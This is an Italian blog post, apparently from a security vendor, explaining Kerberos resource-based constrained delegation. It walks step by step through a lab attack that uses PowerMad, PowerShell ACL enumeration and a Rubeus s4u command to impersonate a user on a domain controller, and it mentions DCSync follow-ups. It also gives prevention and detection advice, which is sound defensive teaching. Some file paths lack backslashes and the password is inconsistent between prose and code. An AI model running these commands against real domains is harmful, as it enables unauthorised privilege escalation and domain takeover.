Abuso della delega vincolata basata su risorse

La delega è confusa e complicata per la maggior parte degli amministratori IT. Active Directory offre unconstrained delegation, delega vincolata e delega vincolata basata su risorse (RBCD).

Questo post del blog esamina perché la delega vincolata basata sulle risorse è più sicura dei suoi predecessori — e come può ancora essere abusata e utilizzata come mezzo per il movimento laterale e l'escalation dei privilegi. In particolare, esamineremo uno scenario in cui un avversario abusa della delega vincolata basata sulle risorse e di alcune configurazioni mal impostate dei permessi di Active Directory per creare account computer in Active Directory.

Alla fine, forniamo il codice per le fasi dell'attacco e un FAQ che fornisce ulteriori informazioni sui tre tipi di Kerberos delegation.

Nozioni di base RBCD

A partire da Windows Server 2012, la delega vincolata basata su risorse può essere configurata sulla risorsa o direttamente sull'account del computer. Questo è diverso dagli altri tipi di delega, che sono configurati sugli account che accedono alla risorsa. La delega basata su risorse è controllata dall'attributo msDS-AllowedToActOnBehalfOfOtherIdentity; esso memorizza un descrittore di sicurezza per l'oggetto che può accedere alla risorsa.

Perché questo modello di delega è migliore dei suoi predecessori? Microsoft lo spiega così: “Supportando la delega vincolata tra domini, i servizi possono essere configurati per utilizzare la delega vincolata per autenticarsi ai server in altri domini piuttosto che utilizzare la delega non vincolata. Questo fornisce supporto all'autenticazione attraverso soluzioni di servizi di dominio utilizzando un'infrastruttura Kerberos esistente senza la necessità di fidarsi dei servizi front-end per delegare a qualsiasi servizio.”

Panoramica di un attacco

Per eseguire un attacco di delega vincolata basato su risorse, un avversario deve:

• Popola l'attributo msDS-AllowedToActOnBehalfOfOtherIdentity con un account computer che hanno il controllo.
• Conoscere un SPN impostato sull'oggetto a cui si desidera accedere

Poiché per impostazione predefinita, tutti gli utenti possono creare 10 account computer (MachineAccountQuota), questi compiti sono facili da realizzare da un account non privilegiato. L'unico privilegio di cui ha bisogno un attaccante è la capacità di scrivere l'attributo sul computer di destinazione a causa di alcuni permessi di Active Directory configurati in modo non corretto.

Per realizzare ciò e mostrare una rapida prova del concetto, utilizzeremo i seguenti strumenti con lo scenario seguente:

1. Abbiamo compromesso un account non privilegiato su un host Windows 10 che ha accesso in scrittura all'attributo msDS-AllowedToActOnBehalfOfOtherIdentity su un controller di dominio a causa di permessi di Active Directory configurati in modo non corretto.
2. Creeremo un nuovo account computer utilizzando PowerMad (consentito a causa del valore predefinito di MachineAccountQuota).
3. Abbiamo impostato l'attributo msDS-AllowedToActOnBehalfOfOtherIdentity per contenere un descrittore di sicurezza con l'account computer che abbiamo creato.
4. Sfruttiamo Rubeus per abusare della delega vincolata basata sulle risorse.

Passo 1. Verificare l'accesso dell'account compromesso.

Per cominciare, diamo un'occhiata all'account a cui noi, come attaccanti, abbiamo ottenuto l'accesso. SBPMLABnonadmin è semplicemente un account utente di dominio normale che possiede privilegi di amministratore locale sulla propria macchina. Lo screenshot qui sotto mostra che non possiamo accedere alla condivisione admin C$ di SBPMLAB-DC2 con i nostri privilegi attuali:

Utilizzando strumenti che elencano permessi e oggetti in Active Directory, siamo in grado di scoprire di avere alcuni permessi su un controller di dominio, che prenderemo di mira. Gli script PowerShell sottostanti identificheranno ovunque un SID utente specifico abbia il Controllo completo, Scrivi, Modifica permessi o Scrivi proprietà: msDS-AllowedToActOnBehalfOfOtherIdentity su una macchina bersaglio

Passaggio 2. Crea un nuovo account computer.

Ora che sappiamo di avere la capacità di modificare l'attributo che dobbiamo popolare, abbiamo bisogno di un account computer che controlliamo per eseguire l'aggiornamento. Poiché il valore di MachineAccountQuota è stato lasciato al valore predefinito, possiamo utilizzare PowerMad per creare un account computer RBCDMachine con la password ThisIsATest:

Passaggio 3. Consentire all'account di agire per conto dell'altra identità.

Ora dobbiamo impostare l'attributo msDS-AllowedToActOnBehalfOfOtherIdentity per contenere il descrittore di sicurezza dell'account computer che abbiamo creato e popolare l'attributo msDS-AllowedToActOnBehalfOfOtherIdentity del DC su cui abbiamo i permessi:

Ora dobbiamo solo ottenere l'hash della password ‘ThisIsATest’ per il nostro account RBCDMachine:

Hash della password per l'account RBCDMachine

Passaggio 4. Sfrutta Rubeus per abusare di RBCD.

Ora abbiamo tutto ciò di cui abbiamo bisogno per utilizzare Rubeus per abusare della delega vincolata basata su risorse. Per ricapitolare ciò che abbiamo raccolto finora:

• Un utente che vogliamo impersonare
• L'account RBCDMachine$ che abbiamo creato, che è popolato nell'attributo msDS-AllowedToActOnBehalfOfOtherIdentity del DC di destinazione
• L'hash per la password dell'account RBCDMachine$ (0DE1580972A99A216CED8B058300033F)
• Il servicePrincipalName a cui vogliamo accedere per il controller di dominio mirato

Utilizzando queste informazioni, possiamo eseguire il seguente comando in Rubeus per importare il ticket nella memoria:

s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt

Possiamo confermare che il ticket di servizio è stato importato con successo utilizzando klist. Ora possiamo navigare con successo alla condivisione admin SBPMLAB-DCC$ sul controller di dominio e elencarne il contenuto:

Ulteriori passaggi

Dopo aver ottenuto l'accesso alla condivisione admin sul controller di dominio di destinazione, possiamo prendere misure per garantire la persistenza o addirittura elevare ulteriormente i nostri privilegi, come compromettere il file NTDS.dit.

Un'altra opzione è richiedere l'accesso al servizio LDAP modificando il parametro msdsspn nel comando Rubeus e sfruttarlo per eseguire un DCSync attack e prendere il controllo dell'the krbtgt account.

Ecco il ticket memorizzato nella cache per il servizio LDAP:

Ecco come possiamo eseguire DCSync dopo aver ottenuto l'accesso a LDAP:

Rilevamento e prevenzione degli attacchi

Ricapitoliamo velocemente i passaggi che abbiamo compiuto per rivelare alcune strategie per prevenire questo tipo di attacco:

1. Abbiamo preso il controllo di un account che aveva la capacità di modificare l'attributo ‘msDS-AllowedToActOnBehalfOfOtherIdentity’ di un controller di dominio.
2. Abbiamo creato un account computer, sfruttando l'impostazione predefinita MachineAccountQuota.
3. Abbiamo popolato l'attributo con l'account macchina che abbiamo creato.
4. Abbiamo usato Rubeus per richiedere un ticket al servizio LDAP sul DC.
5. Siamo riusciti ad eseguire DCSync per prendere il controllo dell'account krbtgt.

Prevenzione

Come si possono prevenire alcune di queste cose nel proprio ambiente?

• Comprendi e blocca i permessi di Active Directory. Sapere chi ha accesso ad Active Directory è fondamentale per la sua sicurezza. Essere in grado di modificare l'attributo di un oggetto computer è solo uno dei modi in cui un attaccante può sfruttare il tuo ambiente. Avere la capacità di modificare l'appartenenza a un gruppo o reimpostare le password di altri utenti all'interno di un ambiente può essere altrettanto dannoso e molto più facile da sfruttare con strumenti come BloodHound. Scopri la Netwrix Active Directory Security Solution per capire come può aiutarti a garantire che il tuo AD sia configurato in modo sicuro, identificare diritti di accesso eccessivi e amministratori ombra, e rilevare e prevenire attacchi sofisticati in tempo reale.
• Assicurati che gli account sensibili che non dovrebbero essere delegati siano contrassegnati come tali. Inserire un utente nel gruppo degli Utenti Protetti o selezionare l'opzione 'L'account è sensibile e non può essere delegato' fermerà un attacco di delega con risorse limitate sul nascere.

Rilevamento

Per rilevare gli attacchi di delega con risorse limitate, puoi fare quanto segue:

• Monitorare la creazione di account computer da parte di utenti non amministratori. L'attributo 'mS-DS-CreatorSID' viene popolato quando un utente non amministratore crea un account computer, quindi puoi utilizzare questo comando per identificare tali account:

      Get-ADComputer -Properties ms-ds-CreatorSid -Filter {ms-ds-creatorsid -ne "$Null"}
      

Code

• Identificare i permessi su un computer bersaglio ($target) per l'account di nostra proprietà ($myaccount):

      #Target Machine we want to check permissions on
$target = 'sbpmlab-dc2.sbpmlab.net'
$targetComputer = Get-ADComputer -Filter 'dnshostname -eq $target'
#SID of the account we have control over
$myaccount = Get-ADuser notadmin -Properties sid | select -ExpandProperty sid

#Identify schemaIDGUID of msDS-AllowedToActOnBehalfOfOtherIdentity
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
#Identify permissions our account has over a target computer
#Specifically Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity
Import-Module C:ToolsPowerSploitReconPowerView_dev.ps1
$permissions = Get-ObjectAcl $target | ?{$_.SecurityIdentifier -match $myaccount -and (($_.ObjectAceType -match $schemaIDGUID.Keys -and $_.ActiveDirectoryRights -like '*WriteProperty*') -or ($_.ActiveDirectoryRights -like '*GenericAll*' -or $_.ActiveDirectoryRights -like '*GenericWrite*' -or $_.ActiveDirectoryRights -like '*WriteDACL*')) }
$permissions
      

• Controlla l'impostazione MachineAccountQuota per il dominio e crea un account computer utilizzando PowerMad:

      #Check MachineAccountQuotaValue
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'

#Use PowerMad to leverage MachineAccountQuota and make a new machine that we have control over
Import-Module C:ToolsPowermad-masterPowermad.ps1
$password = ConvertTo-SecureString 'ThisIsAPassword' -AsPlainText -Force
New-MachineAccount -machineaccount RBCDMachine -Password $($password)
      

• Aggiorna l'attributo msDS-AllowedToActOnBehalfOfOtherIdentity con il nuovo computer che abbiamo creato:

      #Set msDS-AllowedToActOnBehalfOfOtherIdentity with our new computer object
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDMachine$
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
      

• Ottieni l'hash della password che abbiamo impostato per il nostro account computer:

      #Get hash of password we set
import-module C:ToolsDSInternalsDSInternalsDSInternals.psd1
ConvertTo-NTHash $password
      

• Usa Rubeus per eseguire l'abuso RBCD:

      C:ToolsGhostPackRubeusRubeusbindebugRubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
      

FAQ

Cos'è la delega Kerberos?

L'uso pratico della Kerberos delegation è quello di consentire a un'applicazione o servizio di accedere a risorse ospitate su un server diverso per conto di un altro utente.

Come funziona la delega senza vincoli?

La delega Kerberos senza restrizioni offre a un'applicazione o servizio la capacità di impersonare l'utente target verso qualsiasi altro servizio scelto.

Come funziona la delega vincolata?

La delega vincolata consente di configurare a quali servizi può essere delegato un account. S4U2proxy è l'estensione della delega vincolata Kerberos.

Come funziona la delega vincolata basata sulle risorse?

Invece di specificare quale oggetto può delegare a quale servizio, la risorsa che ospita il servizio specifica quali oggetti possono delegare ad esso.